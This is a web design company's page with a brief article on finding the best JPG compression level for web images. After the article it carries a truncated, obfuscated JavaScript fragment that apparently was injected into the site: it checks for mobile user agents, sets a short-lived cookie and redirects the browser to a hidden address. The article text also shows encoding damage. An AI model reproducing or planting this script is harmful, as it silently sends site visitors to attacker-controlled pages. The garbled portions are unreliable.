Top-notch Web Design

See Our Most Recent Web Design Work

Lease A Website

Save With Innovative Website Lease Deals!

Contact Us

581 Boylston St. Suite 604
Boston, MA 02116
Tel: (617) 535-7653

Optimizing images in JPG format

So, the graphics for your pages is ready. But it is too early to lay it on the server, because if pages load long thata��s surely not for the good. So this article focuses on optimizing images in JPG.

This format stores the image in color depth 24bpp (TrueColor) and uses compression with information loss. It does not offer too many ways of optimization, but rather one: choose the best ratio for compression.

To implement this optimization a graphic package is needed allowing to adjust image compression setting. Unfortunately, PhotoShop in the base configuration does not allow to freely adjust the degree of compression (it offers a range of fixed values). It is possible to find modules, specially connected for the operation. To optimize the graphics it is better to use programs like PhotoPaint or PaintShopPro. When using these programs compression degree may be regulated either by setting compression loss, or by setting quality values from 0 to 255.

How to determine the optimal degree of compression?

To do this, save the image at several compression ratio, and then look closely at it. The criterion of quality loss will be so-called “feeble outlines”, most notable in areas of contrast transitions, and stains in areas with smooth transitions. The compression ratio at which the distortion is not visible, but by increasing ratio it becomes visible will be the optimal one. File size at this resolution will be minimal without quality loss.

If such operations are conducted with each photo, it may take too much time. But there is a way out – all pictures can be classified into several subtypes (e.g., black-and-white photos, tinted photos, landscapes, etc.) and optimal rate for each subtype may be chosen.

sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Comments



No comments yet.



Add a comment


* mandatory fields